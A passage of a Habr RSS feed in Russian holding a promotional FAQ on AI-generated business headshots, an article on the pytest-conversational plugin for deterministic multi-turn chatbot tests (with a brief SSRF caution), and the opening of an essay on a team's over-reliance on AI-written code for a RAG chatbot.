https://habrastorage.org/r/w1560/getpro/habr/upload_files/220/7fc/542/2207fc54234e5400bc9e51d92a1d7ff3.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Когда заходит речь об ИИ-аватарах для работы, у всех - от джунов до фаундеров и HR-директоров - возникают примерно одинаковые вопросы и опасения. Разбираем топ-10 главных непоняток без сложной технической духоты.&lt;h4&gt;1. Можно ли реально сделать крутое бизнес-фото из обычного домашнего селфи?&lt;/h4&gt;&lt;p&gt;Да, это стандартный сценарий в 2026 году. Главное, чтобы твое селфи было четким, с хорошим разрешением и снято при нормальном освещении (например, у окна). Нейросеть без проблем заменит твой домашний худи на стильный блейзер, а фон с обоями - на скандинавский коворкинг.&lt;h4&gt;2. Заметит ли HR-специалист, что мое фото для резюме сгенерировано ИИ?&lt;/h4&gt;&lt;p&gt;Если ты использовал качественные промты с упором на текстуру кожи и не перекрутил ползунки ретуши - нет, не заметит. Картинка будет выглядеть как обычный профессиональный снимок на хорошую технику. HR обратит внимание только в том случае, если лицо окажется идеально «пластиковым» или поплывет геометрия воротника.&lt;h4&gt;3. Не будет ли проблем, если на фото в Битрикс24 или Линке я выгляжу круче, чем на созвонах в Zoom?&lt;/h4&gt;&lt;p&gt;Легкий digital-тюнинг - это норма. На обычных фотосессиях фотографы тоже выставляют идеальный свет и делают ретушь. Главное - не менять свои черты лица, форму носа или овал головы. Ты должен оставаться узнаваемым на 100%, просто в чуть более удачный и стильный день.&lt;h4&gt;4. На каком языке лучше писать промты для генерации?&lt;/h4&gt;&lt;p&gt;Однозначно на английском. Большинство топовых нейросетей (включая &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;code&gt;midjourney_toe_bot&lt;/code&gt;&lt;/a&gt;, &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;code&gt;nano_banana_pro&lt;/code&gt;&lt;/a&gt; и &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;code&gt;dalle_3_toe_bot&lt;/code&gt;&lt;/a&gt;) обучались на англоязычных датасетах. На английском они гораздо точнее понимают фасоны одежды, типы освещения и текстуры. Используй готовые промты из нашего гайда - просто подставь свои параметры.&lt;h4&gt;5. А что делать, если нейросеть упорно дорисовывает мне лишние пальцы или кривые пуговицы?&lt;/h4&gt;&lt;p&gt;Использовать точечный инпейнтинг (Inpaint) или инструменты вроде &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;code&gt;improve_photo&lt;/code&gt;&lt;/a&gt; для финальной полировки. Если база кадра и лицо получились идеальными, но поплыла мелкая деталь - просто отправь этот кусок на локальную перегенерацию или деликатно поправь в любом ИИ-редакторе.&lt;h4&gt;6. Подходят ли такие ИИ-фото для официальных документов (паспорт, виза, пропуск)?&lt;/h4&gt;&lt;p&gt;Для внутренних корпоративных пропусков, бейджей на конференции или карточек в Битрикс24 - да, это отличный вариант. А вот для паспорта, прав или визы - категорически нет. У госорганов есть жесткие биометрические стандарты, и любая генеративная обработка там запрещена.&lt;h4&gt;7. Какую нейросеть выбрать, если у меня старое фото с плохой резкостью?&lt;/h4&gt;&lt;p&gt;Для реанимации готовых кадров лучше всего использовать &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;code&gt;improve_photo&lt;/code&gt;&lt;/a&gt;. Этот инструмент не придумывает внешность заново, а работает как умный реставратор: убирает зернистость, поднимает детализацию глаз и волос, сохраняя твою полную аутентичность.&lt;h4&gt;8. Могу ли я сгенерировать одинаковые по стилю фото для всей своей команды?&lt;/h4&gt;&lt;p&gt;Да, и это огромный плюс для компании. Используя одну и ту же нейросеть (например, &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;code&gt;dalle_3_toe_bot&lt;/code&gt;&lt;/a&gt; или &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_image&#34;&gt;&lt;code&gt;google_image&lt;/code&gt;&lt;/a&gt;) и фиксируя в промте один и тот же фон (например, &lt;code&gt;minimalist light gray concrete wall&lt;/code&gt;) и стиль одежды, ты получишь идеально унифицированную команду для сайта или корпоративного портала.&lt;h4&gt;9. Нейросеть постоянно выдает меня в строгом черном костюме, а я хочу Smart Casual. Как это исправить?&lt;/h4&gt;&lt;p&gt;ИИ часто падает в банальные шаблоны при слове «business». Чтобы пробить этот барьер, полностью исключи из промта слова &lt;em&gt;suit, tie, tuxedo, classic&lt;/em&gt;. Замени их на конкретные триггеры нового стиля: &lt;em&gt;cashmere turtleneck, relaxed-fit blazer, linen shirt, oversized structured shirt&lt;/em&gt;.&lt;h4&gt;10. Сколько времени уходит на то, чтобы получить один идеальный аватар?&lt;/h4&gt;&lt;p&gt;С технической точки зрения - около 2-5 минут на генерацию нескольких вариантов. Но учитывай время на подбор идеального исходника и отсев кадров с артефактами. Заложи около 15-20 минут на эксперименты с промтами, чтобы выжать тот самый журнальный результат, который продаст тебя дорого.&lt;hr&gt;&lt;p&gt;В 2026 году кнопка «Сделать красиво» в нейросетях стала доступна каждому. Но пока одни генерируют пластиковый кринж из 2020-х, другие за пару кликов забирают лучшие контракты и лояльность HR-директоров топ-уровня.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a5c/cb6/13e/a5ccb613e4fe29356eb7ddbe9d8a123f.png width=1000 height=667 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a5c/cb6/13e/a5ccb613e4fe29356eb7ddbe9d8a123f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a5c/cb6/13e/a5ccb613e4fe29356eb7ddbe9d8a123f.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Чтобы твой бизнес-портрет реально работал на твой личный бренд и продавал тебя дорого, запомни три финальных правила игры, которые остаются за рамками обычных инструкций:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Правило 80/20 в рекрутинге:&lt;/strong&gt; Первичный скрининг резюме на HH или в Линке занимает у эйчара ровно 3 секунды. Взгляд падает на аватарку до того, как человек успевает прочитать твой стек и опыт. Картинка в стиле &lt;em&gt;Quiet Luxury&lt;/em&gt; на подсознательном уровне поднимает твой ценник на 30-40% еще до этапа первого созвона.&lt;li&gt;&lt;p&gt;&lt;strong&gt;ИИ-унификация - новый черный для фаундеров:&lt;/strong&gt; Если ты руководишь командой или развиваешь компанию, не заставляй сотрудников устраивать ад со студийными съемками для корпоративного Битрикс24. Один зафиксированный промт в &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;code&gt;dalle_3_toe_bot&lt;/code&gt;&lt;/a&gt; или &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_image&#34;&gt;&lt;code&gt;google_image&lt;/code&gt;&lt;/a&gt; сделает из разношерстных селфи команды идеальную, визуально дорогую экосистему для сайта за полчаса. Это транслирует клиентам монолитную структуру бизнеса.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Главный секрет реализма:&lt;/strong&gt; Нейросети до сих пор мылят картинку, когда пытаются совместить слишком много сущностей. Хочешь идеальный результат? Используй связку: сначала прогони свое базовое селфи через &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;code&gt;improve_photo&lt;/code&gt;&lt;/a&gt;, чтобы вытянуть резкость глаз и пор, а уже потом скармливай этот премиальный исходник движкам вроде &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;code&gt;nano_banana_pro&lt;/code&gt;&lt;/a&gt; или &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;code&gt;midjourney_toe_bot&lt;/code&gt;&lt;/a&gt;. Именно так создаются аватары, под которыми коллеги пишут: «Ого, в какой студии снимался?».&lt;/ol&gt;&lt;p&gt;Хватай промты, открывай ботов и создавай визуал, который работает на твой кошелек и статус. Время душных костюмов прошло - пришло время дорогих алгоритмов!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/studyai/articles/1045842/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1045842</guid>
      <pubDate>Wed, 10 Jun 2026 23:25:54 +0000</pubDate>
    </item>
    <item>
      <title>Держите LLM подальше от тестов чат-бота</title>
      <link>https://habr.com/ru/articles/1046277/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046277</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Держите LLM подальше от тестов чат-бота&lt;p&gt;Кто тестировал чат-бота, знает: на одной реплике всё просто, а на третьей-четвёртой начинается боль. Бот должен помнить имя, которое вы назвали два хода назад, держать слоты и не сваливаться в «уточните ваш запрос» на ровном месте. И как только садишься это проверять, упираешься в развилку: чем, собственно, проверять ответы многоходового диалога.&lt;h3&gt;Если коротко&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;LLM, которая оценивает ответы вашего бота, — это вторая недетерминированная система. Теперь перед зелёным CI должны договориться сразу две, и договариваются они не всегда.&lt;li&gt;&lt;p&gt;Большая часть того, что вы реально хотите проверить в диалоге, скучна и проверяема: спросил ли бот город после того, как получил имя, удержал ли слот, вернул ли правильный ответ на третьей реплике.&lt;li&gt;&lt;p&gt;&lt;code&gt;pytest-conversational&lt;/code&gt; даёт маленький объект &lt;code&gt;Conversation&lt;/code&gt;, адаптер бота, который вы пишете сами, и pytest-фикстуры, которые держат порядок реплик и состояние по ходу диалога. На стороне теста никакой модели.&lt;li&gt;&lt;p&gt;Это alpha. Одиночные и многоходовые проверки работают уже сейчас; YAML-формат сценариев и async-адаптеры пока в планах, не в коробке.&lt;/ul&gt;&lt;h3&gt;Два способа тестировать ботов, и почему оба болят&lt;/h3&gt;&lt;p&gt;Когда вы садитесь тестировать диалоговый интерфейс, обычно оказываетесь в одном из двух лагерей.&lt;p&gt;Первый лагерь — куча вызовов &lt;a href=http://requests.post rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;requests.post&lt;/code&gt;&lt;/a&gt;. Кидаете боту сообщение, читаете JSON, пишете проверку. Для одной реплики работает. К четвёртой реплике вы уже руками собираете payload с историей, протаскиваете состояние через локальные переменные и копируете один и тот же setup в каждый тест. Когда что-то ломается, сообщение об ошибке говорит, что один dict не равен другому dict, и вы идёте раскапывать, на какой реплике всё пошло не так.&lt;p&gt;Второй лагерь — полноценный фреймворк для тестирования диалогов, который забирает себе всю обвязку. Он умеет многоходовые сценарии, но привязывает вас к одной платформе и одному способу описывать бота. В день, когда бот переезжает за другой транспорт или вы хотите протестировать обычную Python-функцию, а не HTTP-сервис, вы начинаете бороться с фреймворком.&lt;p&gt;Есть и третий вариант, который всплывает снова и снова, и именно с ним я хочу поспорить: пусть языковая модель прочитает ответ бота и решит, хорош он или нет. Выглядит заманчиво, потому что модель прощает перефразирование. Бот сказал «конечно, какой город?» вместо «понял, какой город?», а проверяющая модель пожимает плечами и засчитывает ответ.&lt;p&gt;А теперь посмотрите, что получилось. В вашем наборе тестов теперь две недетерминированные системы, и CI зеленеет только когда обе согласны. Тестируемая модель плывёт, когда вы меняете промпт. Модель-судья плывёт, когда провайдер выкатывает новую версию. Тест, прошедший в понедельник, падает в четверг, хотя в коде вы ничего не трогали. Плюс вы платите задержкой и токенами на каждом прогоне и отдаёте единственное, ради чего тест и нужен: чёткое повторяемое «да» или «нет».&lt;p&gt;Коллега, который ведёт инженерную часть на платформе чат-ботов, хорошо это сформулировал, когда мы обсуждали тему онлайн. Держите сторону теста детерминированной. Пусть бот будет сколь угодно умным; то, что его проверяет, должно быть тупым и предсказуемым.&lt;h3&gt;Разворот: сделать сторону теста скучной нарочно&lt;/h3&gt;&lt;p&gt;Большая часть того, что вас волнует в диалоге, — это не «красиво ли сформулирован ответ». Это структура:&lt;ul&gt;&lt;li&gt;&lt;p&gt;После того как пользователь назвал имя, спрашивает ли бот следующий слот?&lt;li&gt;&lt;p&gt;Помнит ли бот имя три реплики спустя?&lt;li&gt;&lt;p&gt;На сообщении вне сценария он откатывается к fallback или выдумывает ответ?&lt;li&gt;&lt;p&gt;Содержит ли ответ номер заказа, попадает ли в известный паттерн или в известный набор вариантов?&lt;/ul&gt;&lt;p&gt;Всё это проверяется без модели. Нужно что-то, что держит порядок реплик, хранит состояние диалога и печатает читаемый транскрипт, когда проверка падает. Это и есть вся работа, которую пытается делать &lt;code&gt;pytest-conversational&lt;/code&gt;, и ничего сверх того.&lt;p&gt;Бота приносите вы. Плагин подключает его к pytest.&lt;h3&gt;Как это выглядит&lt;/h3&gt;&lt;p&gt;Установка:&lt;pre&gt;&lt;code&gt;pip install pytest-conversational&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Python 3.10 и выше.&lt;p&gt;Бот — это любой callable, который принимает текст пользователя и диалог, а возвращает строку. Простейший тест:&lt;pre&gt;&lt;code&gt;def my_bot(text, convo):&#xA;    if &amp;#34;hello&amp;#34; in text.lower():&#xA;        return &amp;#34;hi&amp;#34;&#xA;    return &amp;#34;sorry, did not get that&amp;#34;&#xA;&#xA;def test_greeting(conversation_factory):&#xA;    convo = conversation_factory(bot=my_bot)&#xA;    convo.say(&amp;#34;hello there&amp;#34;)&#xA;    assert convo.last.bot == &amp;#34;hi&amp;#34;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;conversation_factory&lt;/code&gt; — это фикстура. Передаёте ей бота, получаете свежий &lt;code&gt;Conversation&lt;/code&gt;, изолированный от всех остальных тестов.&lt;h4&gt;Многоходовое состояние без глобалов&lt;/h4&gt;&lt;p&gt;Вот где страдает лагерь одиночных реплик. Адаптер бота может читать &lt;code&gt;convo.state&lt;/code&gt; и &lt;code&gt;convo.turns&lt;/code&gt;, поэтому заполнение слотов остаётся внутри диалога, а не протекает в тело теста:&lt;pre&gt;&lt;code&gt;def slot_filling_bot(text, convo):&#xA;    slots = convo.state.setdefault(&amp;#34;slots&amp;#34;, {})&#xA;    if &amp;#34;name&amp;#34; not in slots:&#xA;        slots[&amp;#34;name&amp;#34;] = text&#xA;        return &amp;#34;got it, what city?&amp;#34;&#xA;    if &amp;#34;city&amp;#34; not in slots:&#xA;        slots[&amp;#34;city&amp;#34;] = text&#xA;        return f&amp;#34;hello {slots[&amp;#39;name&amp;#39;]} from {slots[&amp;#39;city&amp;#39;]}&amp;#34;&#xA;    return &amp;#34;done&amp;#34;&#xA;&#xA;def test_two_slot_flow(conversation_factory):&#xA;    convo = conversation_factory(bot=slot_filling_bot)&#xA;    convo.say(&amp;#34;Mikhail&amp;#34;)&#xA;    convo.say(&amp;#34;Hove&amp;#34;)&#xA;    assert convo.state[&amp;#34;slots&amp;#34;] == {&amp;#34;name&amp;#34;: &amp;#34;Mikhail&amp;#34;, &amp;#34;city&amp;#34;: &amp;#34;Hove&amp;#34;}&#xA;    assert convo.last.bot == &amp;#34;hello Mikhail from Hove&amp;#34;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Тест читается сверху вниз как диалог, который он описывает. Когда он падает, вы зовёте &lt;code&gt;convo.transcript()&lt;/code&gt; и видите каждую реплику, а не diff двух словарей.&lt;p&gt;&lt;em&gt;Многоходовый тест ловит бота, который теряет имя на последней реплике. Сообщение об ошибке показывает ровно то, что бот сказал, против того, что ожидал тест. (вставить GIF из &lt;/em&gt;&lt;a href=http://Dev.to rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;em&gt;Dev.to&lt;/em&gt;&lt;/a&gt;&lt;em&gt;-версии)&lt;/em&gt;&lt;h4&gt;Матчеры для нечётких мест&lt;/h4&gt;&lt;p&gt;Точное равенство строк хорошо работает, пока не перестаёт. Некоторые ответы законно варьируются, и вы хотите проверять форму, а не буквальный текст. Модуль &lt;code&gt;expect&lt;/code&gt; закрывает частые случаи и кладёт фактический ответ в сообщение об ошибке, чтобы в выводе pytest было видно, что бот сказал против того, что вы хотели:&lt;pre&gt;&lt;code&gt;from pytest_conversational import expect&#xA;&#xA;def test_replies(conversation_factory):&#xA;    convo = conversation_factory(bot=my_bot)&#xA;    convo.say(&amp;#34;hi&amp;#34;)&#xA;&#xA;    expect.contains(convo.last.bot, &amp;#34;hello&amp;#34;)&#xA;    expect.regex(convo.last.bot, r&amp;#34;^hello\s+\w+&amp;#34;)&#xA;    expect.one_of(convo.last.bot, [&amp;#34;hello there&amp;#34;, &amp;#34;hi there&amp;#34;, &amp;#34;hey&amp;#34;])&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;contains&lt;/code&gt; по умолчанию делает регистронезависимую проверку вхождения подстроки. &lt;code&gt;regex&lt;/code&gt; запускает &lt;a href=http://re.search rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;re.search&lt;/code&gt;&lt;/a&gt; и отдаёт объект совпадения, чтобы вы могли заглянуть в захваченные группы. &lt;code&gt;one_of&lt;/code&gt; сверяет ответ со списком альтернатив, с точным режимом и режимом подстроки. Ничему из этого не нужна модель, чтобы что-то решать. Правила ваши, и они не плывут.&lt;h4&gt;Бот, который живёт за HTTP&lt;/h4&gt;&lt;p&gt;Если ваш бот — развёрнутый сервис, писать транспорт руками не нужно. Есть встроенный webhook-адаптер:&lt;pre&gt;&lt;code&gt;pip install pytest-conversational&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;from pytest_conversational import Conversation&#xA;from pytest_conversational.adapters import http_webhook&#xA;&#xA;def test_remote_bot():&#xA;    bot = http_webhook(&amp;#34;https://my-bot.example.com/webhook&amp;#34;, timeout=3.0)&#xA;    convo = Conversation(bot=bot)&#xA;    convo.say(&amp;#34;hello&amp;#34;)&#xA;    assert &amp;#34;hi&amp;#34; in convo.last.bot.lower()&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Контракт по умолчанию: POST с &lt;code&gt;{&amp;#34;user&amp;#34;: text, &amp;#34;history&amp;#34;: [[u, b], ...]}&lt;/code&gt; и &lt;code&gt;200&lt;/code&gt; с &lt;code&gt;{&amp;#34;reply&amp;#34;: &amp;#34;...&amp;#34;}&lt;/code&gt;. Если эндпоинт говорит на другой форме, передайте колбэки &lt;code&gt;request_builder&lt;/code&gt; и &lt;code&gt;response_parser&lt;/code&gt;.&lt;p&gt;На одном моменте стоит притормозить. URL вебхука уходит в &lt;code&gt;httpx&lt;/code&gt; ровно так, как написан. Если в тест когда-нибудь попадёт URL из данных фикстуры, конфига или откуда угодно, что вы не вписали руками сами, адаптер послушно по нему постучится. Сюда входит &lt;code&gt;127.0.0.1&lt;/code&gt;, облачный адрес метаданных &lt;code&gt;169.254.169.254&lt;/code&gt; и всё на &lt;code&gt;10.x.x.x&lt;/code&gt; внутри вашей сети. Тест, дотянувшийся до эндпоинта метаданных, — не гипотетика; именно так начинается изрядная доля SSRF-инцидентов. Прибейте URL к литералу в тесте или прогоните его через свой allowlist, прежде чем он окажется рядом с адаптером.&lt;h3&gt;Где это уместно, а где нет&lt;/h3&gt;&lt;p&gt;Детерминизм на стороне теста — правильный выбор для структуры, состояния, маршрутизации и fallback-ов. Это основная часть того, что ломается в диалоговом продукте, и ровно та часть, с которой модель-судья справляется хуже всего.&lt;p&gt;Это не инструмент для оценки качества свободной генерации. Если ваш настоящий вопрос — «это хороший, полезный, в тоне бренда абзац», правило на него не ответит, и притворяться не надо. Для этого есть ревью человеком или отдельная оценочная обвязка, и держите её подальше от ворот, которые решают, сломана сборка или нет. Это две разные задачи. Их смешивание — путь к флакающему CI, которому никто не верит.&lt;p&gt;Честный статус: плагин в alpha, уже опубликован на PyPI (текущая версия 0.4.0), релиз 1.0 в планах. Одиночные и многоходовые проверки, матчеры и HTTP-адаптер работают сейчас. Формат сценариев, который можно грузить из YAML или текстовых фикстур, в планах, как и поддержка async-адаптеров для корутинных ботов. Этого пока нет в коробке, и я лучше скажу прямо, чем дам вам сделать &lt;code&gt;pip install&lt;/code&gt; и пойти их искать.&lt;h3&gt;Попробовать&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;pip install pytest-conversational&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Наведите его на бота, который у вас уже есть, напишите один многоходовый тест и посмотрите, скажет ли транскрипт падения больше, чем ваша текущая обвязка. Код, issues и роадмап на GitHub: &lt;a href=https://github.com/golikovichev/pytest-conversational rel=&#34;noopener noreferrer nofollow&#34;&gt;https://github.com/golikovichev/pytest-conversational&lt;/a&gt;&lt;p&gt;Если попробуете, самые полезные issue — это проверки, которых вам не хватило. Именно они формируют формат сценариев до версии 1.0.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>golikovichev</author>
      <guid>https://habr.com/ru/articles/1046277/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046277</guid>
      <pubDate>Wed, 10 Jun 2026 22:35:05 +0000</pubDate>
    </item>
    <item>
      <title>Поколение «Approve»: почему я заставил команду переписать проект, который уже работал</title>
      <link>https://habr.com/ru/articles/1046269/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046269</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;h3&gt;Предистория&lt;/h3&gt;&lt;p&gt;Последние пару лет, кажется, невозможно поговорить об ИИ в разработке, чтобы разговор не упирался в тему производительности.&lt;p&gt;Отовсюду постоянно вылезают новые истории успеха. Кто-то показывает, как сократил время разработки в несколько раз. Кто-то рассказывает, что теперь пишет за день столько кода, сколько раньше писал за неделю. Иные вообще собирают полноценный продукт за выходные и искренне не понимают, почему раньше на это уходили месяцы. Честно говоря – раньше читал, но в последнее время просто игнорирую такие заголовки (почему – надеюсь станет понятно из статьи).&lt;p&gt;В общем, начинает возникать ощущение, что индустрия наконец приближается к своей заветной мечте: программирование становится быстрее, а создание продукта дешевле и доступнее.&lt;p&gt;И мы, с моей командой проходим через те же изменения, что и вся индустрия.&lt;p&gt;Сначала у нас появился Copilot. Потом Claude и GPT стали нормой в ежедневой работе как с IDE, так и с Git. В конце-концов мы остановились на Windsurf (вот уже больше полутора лет), который фактически берёт на себя заметную часть работы. Последним &amp;#34;писком моды&amp;#34; стало использование OpenSpec – от которого мы все, често говоря, просто без ума – добавили его в PHPStorm и результаты были мягко говоря... ошеломительные.&lt;p&gt;То есть, каждый следующий шаг, которым мы делали в испльзовании ИИ, был абсолютно логичным. Если модель хорошо пишет функции и тесты, почему бы не доверить ей написание не только юнит тестов, но API – тем более, что есть готовые рабочие (качественно написанные) образцы? Если она уверенно справляется с тестами, почему бы не поручить написание какого сервиса целиком? Если сервис получается качественным, то почему бы не попробовать написать уже целую фичу?&lt;p&gt;И вот, в какой-то момент для такого эксперимента у нас появилась идеальная возможность.&lt;h3&gt;Как мы почти полностью создали функционал с помощью ИИ&lt;/h3&gt;&lt;p&gt;Задача была вполне стандартной по сегодняшним меркам.&lt;p&gt;Нужно было создать чат-бота на базе RAG-архитектуры: загрузка документов из разных источников, индексация, хранение эмбеддингов, поиск контекста, re-ranking, работа с LLM, интерфейс, валидация результата, история диалогов – ничего экзотического.&lt;p&gt;Я решил посмотреть, насколько далеко можно зайти, если максимально использовать современные инструменты генерации кода.&lt;p&gt;Большая часть системы создавалась через Windsurf с моделью GPT-5 Low Thinking Pro с использованием OpenSpec (всё писалось на PHP под сильно кастомизированный фреймворк Yii).&lt;p&gt;Конечно, код генерировали не только токены – команда тоже не сидела сложа руки. Она формулировала требования, уточняла детали, ребята исправляли ошибки, направляли процесс. Но если быть честным до конца, многие архитектурные решения появлялись сначала в ответах модели, а уже потом становились частью функционал.&lt;p&gt;Самое удивительное – это работало. Причем работало настолько хорошо, что временами становилось не по себе.&lt;p&gt;То, что раньше требовало многих дней обсуждений, проектирования и реализации, теперь появлялось буквально за часы. Сначала мы получили прототип. Затем первую рабочую версию. Потом модуль с нужным функционалом, которым уже можно было пользоваться без ощущения, что он собран на скорую руку.&lt;p&gt;Если бы тогда кто-то спросил меня, считаю ли я эксперимент успешным, я бы ответил без малейших сомнений: да, абсолютно.&lt;p&gt;Но спустя некоторое время я начал задавать вопросы.&lt;h3&gt;Вопросы, на которые неожиданно оказалось сложно ответить&lt;/h3&gt;&lt;p&gt;Через какое-то время я начал задавать команде обычные вопросы.&lt;p&gt;Почему вы выбрали именно такой способ индексации? Почему решили хранить эмбеддинги именно так? Почему такой размер? А модель? Как мы будем масштабировать систему, если данных станет в десять раз больше?&lt;p&gt;Хорошим примером оказалась работа с эмбеддингами.&lt;p&gt;Для хранения векторов GPT предложил использовать pgvector поверх PostgreSQL. Решение выглядело вполне разумным: оно быстро внедрялось, не требовало дополнительной инфраструктуры и отлично работало на наших объёмах данных.&lt;p&gt;Мы приняли эту рекомендацию практически без обсуждений.&lt;p&gt;Но позже я задал команде простой вопрос: почему pgvector, а не отдельный векторный движок вроде Qdrant или Milvus? В какой момент PostgreSQL перестанет справляться? Какие ограничения мы получим при росте объёма данных?&lt;p&gt;И неожиданно оказалось, что на эти вопросы никто не мог ответить достаточно уверенно.&lt;p&gt;Не потому, что решение было плохим. Наоборот – вполне возможно, что для наших задач оно было оптимальным. Проблема была в другом: мы не пришли к этому выбору самостоятельно. Мы просто приняли первую качественную рекомендацию модели.&lt;p&gt;Главное здесь – я не пытался никого поймать на ошибке. Мне просто хотелось понять, как команда рассуждала, когда принимала эти решения.&lt;p&gt;Вы знаете как это происходит в реальной жизни...&lt;p&gt;Обычно за такими вещами стоит какая-то история. Сначала пробовали один подход, потом столкнулись с ограничениями, потом спорили, сравнивали варианты и в итоге пришли к решению.&lt;p&gt;Но в первом варианте такой истории не было вообще. Точнее, она была у модели, но не у команды.&lt;p&gt;Команда хорошо понимала код. Любой мог открыть нужный файл и... через некоторе время объяснить, как он работает. Проблема была не в этом.&lt;p&gt;Проблема была в том, что многие решения как будто появились сразу в готовом виде. команда не проходила через несколько плохих вариантов. Не успевала набить шишки. Не спорила достаточно долго, чтобы по-настоящему понять цену каждого 